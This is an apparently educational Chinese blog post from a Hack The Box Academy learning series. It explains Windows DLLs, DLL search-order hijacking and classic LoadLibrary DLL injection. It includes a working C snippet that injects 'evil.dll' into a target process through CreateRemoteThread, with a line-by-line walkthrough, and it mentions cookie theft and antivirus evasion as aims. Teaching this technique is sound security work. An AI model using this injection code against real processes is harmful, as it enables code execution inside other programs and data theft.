昨天提到一大堆的名詞感覺不是很好懂,所以今天用比較簡單的方式科普一下 DLL 跟進行 DLL Injection 相關範例的說明。
DLL = Dynamic Link Library = 「動態連結函式庫」
可以想像它是程式的插件,裡面有一堆功能(函式 / 程式碼)。
而 Windows 上很多程式不會把所有功能都寫死在 EXE,而是用 DLL 來「模組化」。
舉理來說:
user32.dll:處理視窗、按鈕
kernel32.dll:處理記憶體、檔案
ws2_32.dll:處理網路
簡單說:
EXE 是主程式,DLL 就像輔助的外掛。
如果能讓一個正常程式載入「惡意 DLL」,那駭客的程式碼就能假裝是這個程式的一部分來運行。
這樣就可以:
影響目標程式的行為、嘗試偷看/存取該程式有權限看的資料(例如注入到瀏覽器偷 cookie)、躲避防毒(因為看起來是「正常程式」在跑)~
以最經典的 LoadLibrary 注入 為例:
找到目標程式 → 像找到一扇門(OpenProcess)。
在目標程式記憶體挖一塊空間 → 開一個小房間(VirtualAllocEx)。
把惡意 DLL 的路徑塞進去 → 把地址偷偷寫在小房間(WriteProcessMemory)。
告訴目標程式去載入它 → 像是指揮室下命令:「去讀這個 DLL!」(CreateRemoteThread 執行 LoadLibrary)。
目標程式乖乖幫忙載入惡意 DLL → 駭客的程式碼成功混進去了。
白話比喻:
就像把一張「假 ID 卡」偷偷塞進警衛室的資料夾裡,然後叫警衛自己去查 ~
結果警衛就幫忙把壞人放進去了。
這招是「利用 Windows 找 DLL 」的規則。
當程式要用一個 DLL 時,它會按照順序去找:
應用程式目錄
系統目錄
Windows 目錄
當前目錄
PATH
如果程式只寫 LoadLibrary("abc.dll")
,但沒有給完整路徑 = Windows 會自己嘗試自己去依照順序尋找。
攻擊者就可以「在應用程式目錄放一個假的 abc.dll」,結果程式就先載入了惡意版本。
白話比喻:
就像某人要找「咪寶」,但沒有指定是哪個咪寶
攻擊者就提前派一個「假咪寶」站在門口
結果被帶進去了。
在了解這兩個攻擊後,我們來看看 DLL Injection 範例!
還記得我們昨天提到的 DLL Injection 範例嗎?
其實我們可以重新來看一下範例的編寫過程~
範例程式碼:
DWORD pid = 1234; // 目標 Process ID
char dllPath[] = "C:\\pwn\\evil.dll";
// 1. 打開目標程式
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
// 2. 在目標程式記憶體裡挖一塊空間
LPVOID remoteAddr = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
// 3. 把 DLL 路徑寫進去
WriteProcessMemory(hProcess, remoteAddr, dllPath, strlen(dllPath), NULL);
// 4. 找到 LoadLibraryA 的位址
LPVOID loadLibAddr = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
// 5. 在目標程式裡建一個執行緒,去執行 LoadLibraryA(dllPath)
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)loadLibAddr, remoteAddr, 0, NULL);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
意思:拿到目標程式的「鑰匙」。
pid = Process ID,目標程式的身分證。
PROCESS_ALL_ACCESS = 要求完全控制權。
成功後,hProcess 就是這扇門的把手。
LPVOID remoteAddr = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
意思:在目標程式的記憶體裡,偷偷租了一間小房間。
strlen(dllPath) = 房間大小(剛好放下 DLL 路徑)。
PAGE_READWRITE = 設定成可讀可寫。
WriteProcessMemory(hProcess, remoteAddr, dllPath, strlen(dllPath), NULL);
意思:把「C:\pwn\evil.dll」這張小紙條塞進去。
這樣,等目標程式去讀這個記憶體位置時,就會看到要載入哪個 DLL。
LPVOID loadLibAddr = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
意思:翻出 Windows 自帶的 LoadLibraryA 這個功能的門牌號碼。
kernel32.dll = Windows 的系統 DLL,裡面有 LoadLibraryA。
LoadLibraryA 功能:幫你載入指定路徑的 DLL。
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)loadLibAddr, remoteAddr, 0, NULL);
意思:在目標程式裡新開一個小工人(Thread),命令它執行:
LoadLibraryA("C:\\pwn\\evil.dll")
最後...
當 evil.dll 被載入,裡面的 DllMain() 就會執行。
OpenProcess = 找到目標程式,拿到控制權。
VirtualAllocEx = 在裡面開空間。
WriteProcessMemory = 寫入「要載入的 DLL 路徑」。
GetProcAddress = 找到「LoadLibrary」這個載入函式。
CreateRemoteThread = 讓目標程式自己執行「LoadLibrary(惡意DLL)」。
一切的目的:
把惡意 DLL 放進去,讓它在別人的程式裡執行。
# 今天重新把昨天一部分的 DLL 拆解了,不過真正好玩的其實是 dll 裡面的東東(?)
# Anyway, 明天會繼續討論其他部分~
Hack the box Academy